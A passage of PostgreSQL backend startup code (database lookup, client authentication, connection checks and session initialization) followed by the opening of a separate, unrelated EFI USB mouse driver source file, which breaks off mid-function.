* This is used during backend startup when we don't yet have any access to
* system catalogs in general. In the worst case, we can seqscan pg_database
* using nothing but the hard-wired descriptor that relcache.c creates for
* pg_database. In more typical cases, relcache.c was able to load
* descriptors for both pg_database and its indexes from the shared relcache
* cache file, and so we can do an indexscan. criticalSharedRelcachesBuilt
* tells whether we got the cached descriptors.
*/
static HeapTuple
GetDatabaseTuple(const char *dbname)
{
HeapTuple tuple;
Relation relation;
SysScanDesc scan;
ScanKeyData key[1];
/*
* form a scan key
*/
ScanKeyInit(&key[0],
Anum_pg_database_datname,
BTEqualStrategyNumber, F_NAMEEQ,
CStringGetDatum(dbname));
/*
* Open pg_database and fetch a tuple. Force heap scan if we haven't yet
* built the critical shared relcache entries (i.e., we're starting up
* without a shared relcache cache file).
*/
relation = heap_open(DatabaseRelationId, AccessShareLock);
scan = systable_beginscan(relation, DatabaseNameIndexId,
criticalSharedRelcachesBuilt,
SnapshotNow,
1, key);
tuple = systable_getnext(scan);
/* Must copy tuple before releasing buffer */
if (HeapTupleIsValid(tuple))
tuple = heap_copytuple(tuple);
/* all done */
systable_endscan(scan);
heap_close(relation, AccessShareLock);
return tuple;
}
/*
* GetDatabaseTupleByOid -- as above, but search by database OID
*/
static HeapTuple
GetDatabaseTupleByOid(Oid dboid)
{
HeapTuple tuple;
Relation relation;
SysScanDesc scan;
ScanKeyData key[1];
/*
* form a scan key
*/
ScanKeyInit(&key[0],
ObjectIdAttributeNumber,
BTEqualStrategyNumber, F_OIDEQ,
ObjectIdGetDatum(dboid));
/*
* Open pg_database and fetch a tuple. Force heap scan if we haven't yet
* built the critical shared relcache entries (i.e., we're starting up
* without a shared relcache cache file).
*/
relation = heap_open(DatabaseRelationId, AccessShareLock);
scan = systable_beginscan(relation, DatabaseOidIndexId,
criticalSharedRelcachesBuilt,
SnapshotNow,
1, key);
tuple = systable_getnext(scan);
/* Must copy tuple before releasing buffer */
if (HeapTupleIsValid(tuple))
tuple = heap_copytuple(tuple);
/* all done */
systable_endscan(scan);
heap_close(relation, AccessShareLock);
return tuple;
}
/*
* PerformAuthentication -- authenticate a remote client
*
* returns: nothing. Will not return at all if there's any failure.
*/
static void
PerformAuthentication(Port *port)
{
/* This should be set already, but let's make sure */
ClientAuthInProgress = true; /* limit visibility of log messages */
/*
* In EXEC_BACKEND case, we didn't inherit the contents of pg_hba.conf
* etcetera from the postmaster, and have to load them ourselves.
*
* FIXME: [fork/exec] Ugh. Is there a way around this overhead?
*/
#ifdef EXEC_BACKEND
if (!load_hba())
{
/*
* It makes no sense to continue if we fail to load the HBA file,
* since there is no way to connect to the database in this case.
*/
ereport(FATAL,
(errmsg("could not load pg_hba.conf")));
}
if (!load_ident())
{
/*
* It is ok to continue if we fail to load the IDENT file, although it
* means that you cannot log in using any of the authentication
* methods that need a user name mapping. load_ident() already logged
* the details of error to the log.
*/
}
#endif
/*
* Set up a timeout in case a buggy or malicious client fails to respond
* during authentication. Since we're inside a transaction and might do
* database access, we have to use the statement_timeout infrastructure.
*/
enable_timeout_after(STATEMENT_TIMEOUT, AuthenticationTimeout * 1000);
/*
* Now perform authentication exchange.
*/
ClientAuthentication(port); /* might not return, if failure */
/*
* Done with authentication. Disable the timeout, and log if needed.
*/
disable_timeout(STATEMENT_TIMEOUT, false);
if (Log_connections)
{
if (am_walsender)
ereport(LOG,
(errmsg("replication connection authorized: user=%s",
port->user_name)));
else
ereport(LOG,
(errmsg("connection authorized: user=%s database=%s",
port->user_name, port->database_name)));
}
set_ps_display("startup", false);
ClientAuthInProgress = false; /* client_min_messages is active now */
}
/*
* CheckMyDatabase -- fetch information from the pg_database entry for our DB
*/
static void
CheckMyDatabase(const char *name, bool am_superuser)
{
HeapTuple tup;
Form_pg_database dbform;
char *collate;
char *ctype;
/* Fetch our pg_database row normally, via syscache */
tup = SearchSysCache1(DATABASEOID, ObjectIdGetDatum(MyDatabaseId));
if (!HeapTupleIsValid(tup))
elog(ERROR, "cache lookup failed for database %u", MyDatabaseId);
dbform = (Form_pg_database) GETSTRUCT(tup);
/* This recheck is strictly paranoia */
if (strcmp(name, NameStr(dbform->datname)) != 0)
ereport(FATAL,
(errcode(ERRCODE_UNDEFINED_DATABASE),
errmsg("database \"%s\" has disappeared from pg_database",
name),
errdetail("Database OID %u now seems to belong to \"%s\".",
MyDatabaseId, NameStr(dbform->datname))));
/*
* Check permissions to connect to the database.
*
* These checks are not enforced when in standalone mode, so that there is
* a way to recover from disabling all access to all databases, for
* example "UPDATE pg_database SET datallowconn = false;".
*
* We do not enforce them for autovacuum worker processes either.
*/
if (IsUnderPostmaster && !IsAutoVacuumWorkerProcess())
{
/*
* Check that the database is currently allowing connections.
*/
if (!dbform->datallowconn)
ereport(FATAL,
(errcode(ERRCODE_OBJECT_NOT_IN_PREREQUISITE_STATE),
errmsg("database \"%s\" is not currently accepting connections",
name)));
/*
* Check privilege to connect to the database. (The am_superuser test
* is redundant, but since we have the flag, might as well check it
* and save a few cycles.)
*/
if (!am_superuser &&
pg_database_aclcheck(MyDatabaseId, GetUserId(),
ACL_CONNECT) != ACLCHECK_OK)
ereport(FATAL,
(errcode(ERRCODE_INSUFFICIENT_PRIVILEGE),
errmsg("permission denied for database \"%s\"", name),
errdetail("User does not have CONNECT privilege.")));
/*
* Check connection limit for this database.
*
* There is a race condition here --- we create our PGPROC before
* checking for other PGPROCs. If two backends did this at about the
* same time, they might both think they were over the limit, while
* ideally one should succeed and one fail. Getting that to work
* exactly seems more trouble than it is worth, however; instead we
* just document that the connection limit is approximate.
*/
if (dbform->datconnlimit >= 0 &&
!am_superuser &&
CountDBBackends(MyDatabaseId) > dbform->datconnlimit)
ereport(FATAL,
(errcode(ERRCODE_TOO_MANY_CONNECTIONS),
errmsg("too many connections for database \"%s\"",
name)));
}
/*
* OK, we're golden. Next to-do item is to save the encoding info out of
* the pg_database tuple.
*/
SetDatabaseEncoding(dbform->encoding);
/* Record it as a GUC internal option, too */
SetConfigOption("server_encoding", GetDatabaseEncodingName(),
PGC_INTERNAL, PGC_S_OVERRIDE);
/* If we have no other source of client_encoding, use server encoding */
SetConfigOption("client_encoding", GetDatabaseEncodingName(),
PGC_BACKEND, PGC_S_DYNAMIC_DEFAULT);
/* assign locale variables */
collate = NameStr(dbform->datcollate);
ctype = NameStr(dbform->datctype);
if (pg_perm_setlocale(LC_COLLATE, collate) == NULL)
ereport(FATAL,
(errmsg("database locale is incompatible with operating system"),
errdetail("The database was initialized with LC_COLLATE \"%s\", "
" which is not recognized by setlocale().", collate),
errhint("Recreate the database with another locale or install the missing locale.")));
if (pg_perm_setlocale(LC_CTYPE, ctype) == NULL)
ereport(FATAL,
(errmsg("database locale is incompatible with operating system"),
errdetail("The database was initialized with LC_CTYPE \"%s\", "
" which is not recognized by setlocale().", ctype),
errhint("Recreate the database with another locale or install the missing locale.")));
/* Make the locale settings visible as GUC variables, too */
SetConfigOption("lc_collate", collate, PGC_INTERNAL, PGC_S_OVERRIDE);
SetConfigOption("lc_ctype", ctype, PGC_INTERNAL, PGC_S_OVERRIDE);
/* Use the right encoding in translated messages */
#ifdef ENABLE_NLS
pg_bind_textdomain_codeset(textdomain(NULL));
#endif
ReleaseSysCache(tup);
}
/* --------------------------------
* InitCommunication
*
* This routine initializes stuff needed for ipc, locking, etc.
* it should be called something more informative.
* --------------------------------
*/
static void
InitCommunication(void)
{
/*
* initialize shared memory and semaphores appropriately.
*/
if (!IsUnderPostmaster) /* postmaster already did this */
{
/*
* We're running a postgres bootstrap process or a standalone backend.
* Create private "shmem" and semaphores.
*/
CreateSharedMemoryAndSemaphores(true, 0);
}
}
/*
* pg_split_opts -- split a string of options and append it to an argv array
*
* NB: the input string is destructively modified! Also, caller is responsible
* for ensuring the argv array is large enough. The maximum possible number
* of arguments added by this routine is (strlen(optstr) + 1) / 2.
*
* Since no current POSTGRES arguments require any quoting characters,
* we can use the simple-minded tactic of assuming each set of space-
* delimited characters is a separate argv element.
*
* If you don't like that, well, we *used* to pass the whole option string
* as ONE argument to execl(), which was even less intelligent...
*/
void
pg_split_opts(char **argv, int *argcp, char *optstr)
{
while (*optstr)
{
while (isspace((unsigned char) *optstr))
optstr++;
if (*optstr == '\0')
break;
argv[(*argcp)++] = optstr;
while (*optstr && !isspace((unsigned char) *optstr))
optstr++;
if (*optstr)
*optstr++ = '\0';
}
}
/*
* Initialize MaxBackends value from config options.
*
* This must be called after modules have had the chance to register background
* workers in shared_preload_libraries, and before shared memory size is
* determined.
*
* Note that in EXEC_BACKEND environment, the value is passed down from
* postmaster to subprocesses via BackendParameters in SubPostmasterMain; only
* postmaster itself and processes not under postmaster control should call
* this.
*/
void
InitializeMaxBackends(void)
{
Assert(MaxBackends == 0);
/* the extra unit accounts for the autovacuum launcher */
MaxBackends = MaxConnections + autovacuum_max_workers + 1 +
GetNumShmemAttachedBgworkers();
/* internal error because the values were all checked previously */
if (MaxBackends > MAX_BACKENDS)
elog(ERROR, "too many backends configured");
}
/*
* Early initialization of a backend (either standalone or under postmaster).
* This happens even before InitPostgres.
*
* This is separate from InitPostgres because it is also called by auxiliary
* processes, such as the background writer process, which may not call
* InitPostgres at all.
*/
void
BaseInit(void)
{
/*
* Attach to shared memory and semaphores, and initialize our
* input/output/debugging file descriptors.
*/
InitCommunication();
DebugFileOpen();
/* Do local initialization of file, storage and buffer managers */
InitFileAccess();
smgrinit();
InitBufferPoolAccess();
}
/* --------------------------------
* InitPostgres
* Initialize POSTGRES.
*
* The database can be specified by name, using the in_dbname parameter, or by
* OID, using the dboid parameter. In the latter case, the actual database
* name can be returned to the caller in out_dbname. If out_dbname isn't
* NULL, it must point to a buffer of size NAMEDATALEN.
*
* In bootstrap mode no parameters are used. The autovacuum launcher process
* doesn't use any parameters either, because it only goes far enough to be
* able to read pg_database; it doesn't connect to any particular database.
* In walsender mode only username is used.
*
* As of PostgreSQL 8.2, we expect InitProcess() was already called, so we
* already have a PGPROC struct ... but it's not completely filled in yet.
*
* Note:
* Be very careful with the order of calls in the InitPostgres function.
* --------------------------------
*/
void
InitPostgres(const char *in_dbname, Oid dboid, const char *username,
char *out_dbname)
{
bool bootstrap = IsBootstrapProcessingMode();
bool am_superuser;
char *fullpath;
char dbname[NAMEDATALEN];
elog(DEBUG3, "InitPostgres");
/*
* Add my PGPROC struct to the ProcArray.
*
* Once I have done this, I am visible to other backends!
*/
InitProcessPhase2();
/*
* Initialize my entry in the shared-invalidation manager's array of
* per-backend data.
*
* Sets up MyBackendId, a unique backend identifier.
*/
MyBackendId = InvalidBackendId;
SharedInvalBackendInit(false);
if (MyBackendId > MaxBackends || MyBackendId <= 0)
elog(FATAL, "bad backend ID: %d", MyBackendId);
/* Now that we have a BackendId, we can participate in ProcSignal */
ProcSignalInit(MyBackendId);
/*
* Also set up timeout handlers needed for backend operation. We need
* these in every case except bootstrap.
*/
if (!bootstrap)
{
RegisterTimeout(DEADLOCK_TIMEOUT, CheckDeadLock);
RegisterTimeout(STATEMENT_TIMEOUT, StatementTimeoutHandler);
RegisterTimeout(LOCK_TIMEOUT, LockTimeoutHandler);
}
/*
* bufmgr needs another initialization call too
*/
InitBufferPoolBackend();
/*
* Initialize local process's access to XLOG.
*/
if (IsUnderPostmaster)
{
/*
* The postmaster already started the XLOG machinery, but we need to
* call InitXLOGAccess(), if the system isn't in hot-standby mode.
* This is handled by calling RecoveryInProgress and ignoring the
* result.
*/
(void) RecoveryInProgress();
}
else
{
/*
* We are either a bootstrap process or a standalone backend. Either
* way, start up the XLOG machinery, and register to have it closed
* down at exit.
*/
StartupXLOG();
on_shmem_exit(ShutdownXLOG, 0);
}
/*
* Initialize the relation cache and the system catalog caches. Note that
* no catalog access happens here; we only set up the hashtable structure.
* We must do this before starting a transaction because transaction abort
* would try to touch these hashtables.
*/
RelationCacheInitialize();
InitCatalogCache();
InitPlanCache();
/* Initialize portal manager */
EnablePortalManager();
/* Initialize stats collection --- must happen before first xact */
if (!bootstrap)
pgstat_initialize();
/*
* Load relcache entries for the shared system catalogs. This must create
* at least entries for pg_database and catalogs used for authentication.
*/
RelationCacheInitializePhase2();
/*
* Set up process-exit callback to do pre-shutdown cleanup. This has to
* be after we've initialized all the low-level modules like the buffer
* manager, because during shutdown this has to run before the low-level
* modules start to close down. On the other hand, we want it in place
* before we begin our first transaction --- if we fail during the
* initialization transaction, as is entirely possible, we need the
* AbortTransaction call to clean up.
*/
on_shmem_exit(ShutdownPostgres, 0);
/* The autovacuum launcher is done here */
if (IsAutoVacuumLauncherProcess())
return;
/*
* Start a new transaction here before first access to db, and get a
* snapshot. We don't have a use for the snapshot itself, but we're
* interested in the secondary effect that it sets RecentGlobalXmin. (This
* is critical for anything that reads heap pages, because HOT may decide
* to prune them even if the process doesn't attempt to modify any
* tuples.)
*/
if (!bootstrap)
{
/* statement_timestamp must be set for timeouts to work correctly */
SetCurrentStatementStartTimestamp();
StartTransactionCommand();
/*
* transaction_isolation will have been set to the default by the
* above. If the default is "serializable", and we are in hot
* standby, we will fail if we don't change it to something lower.
* Fortunately, "read committed" is plenty good enough.
*/
XactIsoLevel = XACT_READ_COMMITTED;
(void) GetTransactionSnapshot();
}
/*
* Perform client authentication if necessary, then figure out our
* postgres user ID, and see if we are a superuser.
*
* In standalone mode and in autovacuum worker processes, we use a fixed
* ID, otherwise we figure it out from the authenticated user name.
*/
if (bootstrap || IsAutoVacuumWorkerProcess())
{
InitializeSessionUserIdStandalone();
am_superuser = true;
}
else if (!IsUnderPostmaster)
{
InitializeSessionUserIdStandalone();
am_superuser = true;
if (!ThereIsAtLeastOneRole())
ereport(WARNING,
(errcode(ERRCODE_UNDEFINED_OBJECT),
errmsg("no roles are defined in this database system"),
errhint("You should immediately run CREATE USER \"%s\" SUPERUSER;.",
username)));
}
else if (IsBackgroundWorker)
{
if (username == NULL)
{
InitializeSessionUserIdStandalone();
am_superuser = true;
}
else
{
InitializeSessionUserId(username);
am_superuser = superuser();
}
}
else
{
/* normal multiuser case */
Assert(MyProcPort != NULL);
PerformAuthentication(MyProcPort);
InitializeSessionUserId(username);
am_superuser = superuser();
}
/*
* If we're trying to shut down, only superusers can connect, and new
* replication connections are not allowed.
*/
if ((!am_superuser || am_walsender) &&
MyProcPort != NULL &&
MyProcPort->canAcceptConnections == CAC_WAITBACKUP)
{
if (am_walsender)
ereport(FATAL,
(errcode(ERRCODE_INSUFFICIENT_PRIVILEGE),
errmsg("new replication connections are not allowed during database shutdown")));
else
ereport(FATAL,
(errcode(ERRCODE_INSUFFICIENT_PRIVILEGE),
errmsg("must be superuser to connect during database shutdown")));
}
/*
* Binary upgrades only allowed super-user connections
*/
if (IsBinaryUpgrade && !am_superuser)
{
ereport(FATAL,
(errcode(ERRCODE_INSUFFICIENT_PRIVILEGE),
errmsg("must be superuser to connect in binary upgrade mode")));
}
/*
* The last few connections slots are reserved for superusers. Although
* replication connections currently require superuser privileges, we
* don't allow them to consume the reserved slots, which are intended for
* interactive use.
*/
if ((!am_superuser || am_walsender) &&
ReservedBackends > 0 &&
!HaveNFreeProcs(ReservedBackends))
ereport(FATAL,
(errcode(ERRCODE_TOO_MANY_CONNECTIONS),
errmsg("remaining connection slots are reserved for non-replication superuser connections")));
/*
* If walsender, we don't want to connect to any particular database. Just
* finish the backend startup by processing any options from the startup
* packet, and we're done.
*/
if (am_walsender)
{
Assert(!bootstrap);
if (!superuser() && !has_rolreplication(GetUserId()))
ereport(FATAL,
(errcode(ERRCODE_INSUFFICIENT_PRIVILEGE),
errmsg("must be superuser or replication role to start walsender")));
/* process any options passed in the startup packet */
if (MyProcPort != NULL)
process_startup_options(MyProcPort, am_superuser);
/* Apply PostAuthDelay as soon as we've read all options */
if (PostAuthDelay > 0)
pg_usleep(PostAuthDelay * 1000000L);
/* initialize client encoding */
InitializeClientEncoding();
/* report this backend in the PgBackendStatus array */
pgstat_bestart();
/* close the transaction we started above */
CommitTransactionCommand();
return;
}
/*
* Set up the global variables holding database id and default tablespace.
* But note we won't actually try to touch the database just yet.
*
* We take a shortcut in the bootstrap case, otherwise we have to look up
* the db's entry in pg_database.
*/
if (bootstrap)
{
MyDatabaseId = TemplateDbOid;
MyDatabaseTableSpace = DEFAULTTABLESPACE_OID;
}
else if (in_dbname != NULL)
{
HeapTuple tuple;
Form_pg_database dbform;
tuple = GetDatabaseTuple(in_dbname);
if (!HeapTupleIsValid(tuple))
ereport(FATAL,
(errcode(ERRCODE_UNDEFINED_DATABASE),
errmsg("database \"%s\" does not exist", in_dbname)));
dbform = (Form_pg_database) GETSTRUCT(tuple);
MyDatabaseId = HeapTupleGetOid(tuple);
MyDatabaseTableSpace = dbform->dattablespace;
/* take database name from the caller, just for paranoia */
strlcpy(dbname, in_dbname, sizeof(dbname));
}
else
{
/* caller specified database by OID */
HeapTuple tuple;
Form_pg_database dbform;
tuple = GetDatabaseTupleByOid(dboid);
if (!HeapTupleIsValid(tuple))
ereport(FATAL,
(errcode(ERRCODE_UNDEFINED_DATABASE),
errmsg("database %u does not exist", dboid)));
dbform = (Form_pg_database) GETSTRUCT(tuple);
MyDatabaseId = HeapTupleGetOid(tuple);
MyDatabaseTableSpace = dbform->dattablespace;
Assert(MyDatabaseId == dboid);
strlcpy(dbname, NameStr(dbform->datname), sizeof(dbname));
/* pass the database name back to the caller */
if (out_dbname)
strcpy(out_dbname, dbname);
}
/* Now we can mark our PGPROC entry with the database ID */
/* (We assume this is an atomic store so no lock is needed) */
MyProc->databaseId = MyDatabaseId;
/*
* Now, take a writer's lock on the database we are trying to connect to.
* If there is a concurrently running DROP DATABASE on that database, this
* will block us until it finishes (and has committed its update of
* pg_database).
*
* Note that the lock is not held long, only until the end of this startup
* transaction. This is OK since we are already advertising our use of
* the database in the PGPROC array; anyone trying a DROP DATABASE after
* this point will see us there.
*
* Note: use of RowExclusiveLock here is reasonable because we envision
* our session as being a concurrent writer of the database. If we had a
* way of declaring a session as being guaranteed-read-only, we could use
* AccessShareLock for such sessions and thereby not conflict against
* CREATE DATABASE.
*/
if (!bootstrap)
LockSharedObject(DatabaseRelationId, MyDatabaseId, 0,
RowExclusiveLock);
/*
* Recheck pg_database to make sure the target database hasn't gone away.
* If there was a concurrent DROP DATABASE, this ensures we will die
* cleanly without creating a mess.
*/
if (!bootstrap)
{
HeapTuple tuple;
tuple = GetDatabaseTuple(dbname);
if (!HeapTupleIsValid(tuple) ||
MyDatabaseId != HeapTupleGetOid(tuple) ||
MyDatabaseTableSpace != ((Form_pg_database) GETSTRUCT(tuple))->dattablespace)
ereport(FATAL,
(errcode(ERRCODE_UNDEFINED_DATABASE),
errmsg("database \"%s\" does not exist", dbname),
errdetail("It seems to have just been dropped or renamed.")));
}
/*
* Now we should be able to access the database directory safely. Verify
* it's there and looks reasonable.
*/
fullpath = GetDatabasePath(MyDatabaseId, MyDatabaseTableSpace);
if (!bootstrap)
{
if (access(fullpath, F_OK) == -1)
{
if (errno == ENOENT)
ereport(FATAL,
(errcode(ERRCODE_UNDEFINED_DATABASE),
errmsg("database \"%s\" does not exist",
dbname),
errdetail("The database subdirectory \"%s\" is missing.",
fullpath)));
else
ereport(FATAL,
(errcode_for_file_access(),
errmsg("could not access directory \"%s\": %m",
fullpath)));
}
ValidatePgVersion(fullpath);
}
SetDatabasePath(fullpath);
/*
* It's now possible to do real access to the system catalogs.
*
* Load relcache entries for the system catalogs. This must create at
* least the minimum set of "nailed-in" cache entries.
*/
RelationCacheInitializePhase3();
/* set up ACL framework (so CheckMyDatabase can check permissions) */
initialize_acl();
/*
* Re-read the pg_database row for our database, check permissions and set
* up database-specific GUC settings. We can't do this until all the
* database-access infrastructure is up. (Also, it wants to know if the
* user is a superuser, so the above stuff has to happen first.)
*/
if (!bootstrap)
CheckMyDatabase(dbname, am_superuser);
/*
* Now process any command-line switches and any additional GUC variable
* settings passed in the startup packet. We couldn't do this before
* because we didn't know if client is a superuser.
*/
if (MyProcPort != NULL)
process_startup_options(MyProcPort, am_superuser);
/* Process pg_db_role_setting options */
process_settings(MyDatabaseId, GetSessionUserId());
/* Apply PostAuthDelay as soon as we've read all options */
if (PostAuthDelay > 0)
pg_usleep(PostAuthDelay * 1000000L);
/*
* Initialize various default states that can't be set up until we've
* selected the active user and gotten the right GUC settings.
*/
/* set default namespace search path */
InitializeSearchPath();
/* initialize client encoding */
InitializeClientEncoding();
/* report this backend in the PgBackendStatus array */
if (!bootstrap)
pgstat_bestart();
/* close the transaction we started above */
if (!bootstrap)
CommitTransactionCommand();
}
/*
* Process any command-line switches and any additional GUC variable
* settings passed in the startup packet.
*/
static void
process_startup_options(Port *port, bool am_superuser)
{
GucContext gucctx;
ListCell *gucopts;
gucctx = am_superuser ? PGC_SUSET : PGC_BACKEND;
/*
* First process any command-line switches that were included in the
* startup packet, if we are in a regular backend.
*/
if (port->cmdline_options != NULL)
{
/*
* The maximum possible number of commandline arguments that could
* come from port->cmdline_options is (strlen + 1) / 2; see
* pg_split_opts().
*/
char **av;
int maxac;
int ac;
maxac = 2 + (strlen(port->cmdline_options) + 1) / 2;
av = (char **) palloc(maxac * sizeof(char *));
ac = 0;
av[ac++] = "postgres";
/* Note this mangles port->cmdline_options */
pg_split_opts(av, &ac, port->cmdline_options);
av[ac] = NULL;
Assert(ac < maxac);
(void) process_postgres_switches(ac, av, gucctx, NULL);
}
/*
* Process any additional GUC variable settings passed in startup packet.
* These are handled exactly like command-line variables.
*/
gucopts = list_head(port->guc_options);
while (gucopts)
{
char *name;
char *value;
name = lfirst(gucopts);
gucopts = lnext(gucopts);
value = lfirst(gucopts);
gucopts = lnext(gucopts);
SetConfigOption(name, value, gucctx, PGC_S_CLIENT);
}
}
/*
* Load GUC settings from pg_db_role_setting.
*
* We try specific settings for the database/role combination, as well as
* general for this database and for this user.
*/
static void
process_settings(Oid databaseid, Oid roleid)
{
Relation relsetting;
if (!IsUnderPostmaster)
return;
relsetting = heap_open(DbRoleSettingRelationId, AccessShareLock);
/* Later settings are ignored if set earlier. */
ApplySetting(databaseid, roleid, relsetting, PGC_S_DATABASE_USER);
ApplySetting(InvalidOid, roleid, relsetting, PGC_S_USER);
ApplySetting(databaseid, InvalidOid, relsetting, PGC_S_DATABASE);
ApplySetting(InvalidOid, InvalidOid, relsetting, PGC_S_GLOBAL);
heap_close(relsetting, AccessShareLock);
}
/*
* Backend-shutdown callback. Do cleanup that we want to be sure happens
* before all the supporting modules begin to nail their doors shut via
* their own callbacks.
*
* User-level cleanup, such as temp-relation removal and UNLISTEN, happens
* via separate callbacks that execute before this one. We don't combine the
* callbacks because we still want this one to happen if the user-level
* cleanup fails.
*/
static void
ShutdownPostgres(int code, Datum arg)
{
/* Make sure we've killed any active transaction */
AbortOutOfAnyTransaction();
/*
* User locks are not released by transaction end, so be sure to release
* them explicitly.
*/
LockReleaseAll(USER_LOCKMETHOD, true);
}
/*
* STATEMENT_TIMEOUT handler: trigger a query-cancel interrupt.
*/
static void
StatementTimeoutHandler(void)
{
#ifdef HAVE_SETSID
/* try to signal whole process group */
kill(-MyProcPid, SIGINT);
#endif
kill(MyProcPid, SIGINT);
}
/*
* LOCK_TIMEOUT handler: trigger a query-cancel interrupt.
*
* This is identical to StatementTimeoutHandler, but since it's so short,
* we might as well keep the two functions separate for clarity.
*/
static void
LockTimeoutHandler(void)
{
#ifdef HAVE_SETSID
/* try to signal whole process group */
kill(-MyProcPid, SIGINT);
#endif
kill(MyProcPid, SIGINT);
}
/*
* Returns true if at least one role is defined in this database cluster.
*/
static bool
ThereIsAtLeastOneRole(void)
{
Relation pg_authid_rel;
HeapScanDesc scan;
bool result;
pg_authid_rel = heap_open(AuthIdRelationId, AccessShareLock);
scan = heap_beginscan(pg_authid_rel, SnapshotNow, 0, NULL);
result = (heap_getnext(scan, ForwardScanDirection) != NULL);
heap_endscan(scan);
heap_close(pg_authid_rel, AccessShareLock);
return result;
}
|
495451.c | /*++
Copyright (c) 2004 - 2008, Intel Corporation
All rights reserved. This program and the accompanying materials
are licensed and made available under the terms and conditions of the BSD License
which accompanies this distribution. The full text of the license may be found at
http://opensource.org/licenses/bsd-license.php
THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
Module Name:
UsbMouse.c
Abstract:
--*/
#include "Tiano.h"
#include "EfiDriverLib.h"
#include "EfiPrintLib.h"
#include "usb.h"
//
// Driver Consumed Protocol Prototypes
//
#include EFI_PROTOCOL_DEFINITION (DriverBinding)
#include EFI_PROTOCOL_DEFINITION (UsbIo)
//
// Driver Produced Protocol Prototypes
//
#include EFI_PROTOCOL_DEFINITION (SimplePointer)
#include "UsbDxeLib.h"
#include "hid.h"
#include "usbmouse.h"
#include "mousehid.h"
//
// Prototypes
// Driver model protocol interface
//
EFI_STATUS
EFIAPI
USBMouseDriverBindingEntryPoint (
IN EFI_HANDLE ImageHandle,
IN EFI_SYSTEM_TABLE *SystemTable
);
EFI_STATUS
EFIAPI
USBMouseDriverBindingSupported (
IN EFI_DRIVER_BINDING_PROTOCOL *This,
IN EFI_HANDLE Controller,
IN EFI_DEVICE_PATH_PROTOCOL *RemainingDevicePath
);
EFI_STATUS
EFIAPI
USBMouseDriverBindingStart (
IN EFI_DRIVER_BINDING_PROTOCOL *This,
IN EFI_HANDLE Controller,
IN EFI_DEVICE_PATH_PROTOCOL *RemainingDevicePath
);
EFI_STATUS
EFIAPI
USBMouseDriverBindingStop (
IN EFI_DRIVER_BINDING_PROTOCOL *This,
IN EFI_HANDLE Controller,
IN UINTN NumberOfChildren,
IN EFI_HANDLE *ChildHandleBuffer
);
EFI_GUID gEfiUsbMouseDriverGuid = {
0x290156b5, 0x6a05, 0x4ac0, 0xb8, 0x0, 0x51, 0x27, 0x55, 0xad, 0x14, 0x29
};
EFI_DRIVER_BINDING_PROTOCOL gUsbMouseDriverBinding = {
USBMouseDriverBindingSupported,
USBMouseDriverBindingStart,
USBMouseDriverBindingStop,
0xa,
NULL,
NULL
};
//
// helper functions
//
STATIC
BOOLEAN
IsUsbMouse (
IN EFI_USB_IO_PROTOCOL *UsbIo
);
STATIC
EFI_STATUS
InitializeUsbMouseDevice (
IN USB_MOUSE_DEV *UsbMouseDev
);
STATIC
VOID
EFIAPI
UsbMouseWaitForInput (
IN EFI_EVENT Event,
IN VOID *Context
);
//
// Mouse interrupt handler
//
STATIC
EFI_STATUS
EFIAPI
OnMouseInterruptComplete (
IN VOID *Data,
IN UINTN DataLength,
IN VOID *Context,
IN UINT32 Result
);
//
// Mouse Protocol
//
STATIC
EFI_STATUS
EFIAPI
GetMouseState (
IN EFI_SIMPLE_POINTER_PROTOCOL *This,
OUT EFI_SIMPLE_POINTER_STATE *MouseState
);
STATIC
EFI_STATUS
EFIAPI
UsbMouseReset (
IN EFI_SIMPLE_POINTER_PROTOCOL *This,
IN BOOLEAN ExtendedVerification
);
//
// Driver start here
//
EFI_DRIVER_ENTRY_POINT (USBMouseDriverBindingEntryPoint)
EFI_STATUS
EFIAPI
USBMouseDriverBindingEntryPoint (
IN EFI_HANDLE ImageHandle,
IN EFI_SYSTEM_TABLE *SystemTable
)
/*++
Routine Description:
Entry point for EFI drivers.
Arguments:
ImageHandle - EFI_HANDLE
SystemTable - EFI_SYSTEM_TABLE
Returns:
EFI_SUCCESS
others
--*/
{
return INSTALL_ALL_DRIVER_PROTOCOLS_OR_PROTOCOLS2 (
ImageHandle,
SystemTable,
&gUsbMouseDriverBinding,
ImageHandle,
&gUsbMouseComponentName,
NULL,
NULL
);
}
EFI_STATUS
EFIAPI
USBMouseDriverBindingSupported (
IN EFI_DRIVER_BINDING_PROTOCOL *This,
IN EFI_HANDLE Controller,
IN EFI_DEVICE_PATH_PROTOCOL *RemainingDevicePath
)
/*++
Routine Description:
Test to see if this driver supports ControllerHandle. Any ControllerHandle
that has UsbHcProtocol installed will be supported.
Arguments:
This - Protocol instance pointer.
Controller - Handle of device to test
RemainingDevicePath - Not used
Returns:
EFI_SUCCESS - This driver supports this device.
EFI_UNSUPPORTED - This driver does not support this device.
--*/
{
EFI_STATUS OpenStatus;
EFI_USB_IO_PROTOCOL *UsbIo;
EFI_STATUS Status;
OpenStatus = gBS->OpenProtocol (
Controller,
&gEfiUsbIoProtocolGuid,
&UsbIo,
This->DriverBindingHandle,
Controller,
EFI_OPEN_PROTOCOL_BY_DRIVER
);
if (EFI_ERROR (OpenStatus) && (OpenStatus != EFI_ALREADY_STARTED)) {
return EFI_UNSUPPORTED;
}
if (OpenStatus == EFI_ALREADY_STARTED) {
return EFI_ALREADY_STARTED;
}
//
// Use the USB I/O protocol interface to see the Controller is
// the Mouse controller that can be managed by this driver.
//
Status = EFI_SUCCESS;
if (!IsUsbMouse (UsbIo)) {
Status = EFI_UNSUPPORTED;
}
gBS->CloseProtocol (
Controller,
&gEfiUsbIoProtocolGuid,
This->DriverBindingHandle,
Controller
);
return Status;
}
EFI_STATUS
EFIAPI
USBMouseDriverBindingStart (
IN EFI_DRIVER_BINDING_PROTOCOL *This,
IN EFI_HANDLE Controller,
IN EFI_DEVICE_PATH_PROTOCOL *RemainingDevicePath
)
/*++
Routine Description:
Starting the Usb Bus Driver
Arguments:
This - Protocol instance pointer.
Controller - Handle of device to test
RemainingDevicePath - Not used
Returns:
EFI_SUCCESS - This driver supports this device.
EFI_UNSUPPORTED - This driver does not support this device.
EFI_DEVICE_ERROR - This driver cannot be started due to device
Error
EFI_OUT_OF_RESOURCES- Can't allocate memory resources
EFI_ALREADY_STARTED - Thios driver has been started
--*/
{
EFI_STATUS Status;
EFI_USB_IO_PROTOCOL *UsbIo;
EFI_USB_ENDPOINT_DESCRIPTOR *EndpointDesc;
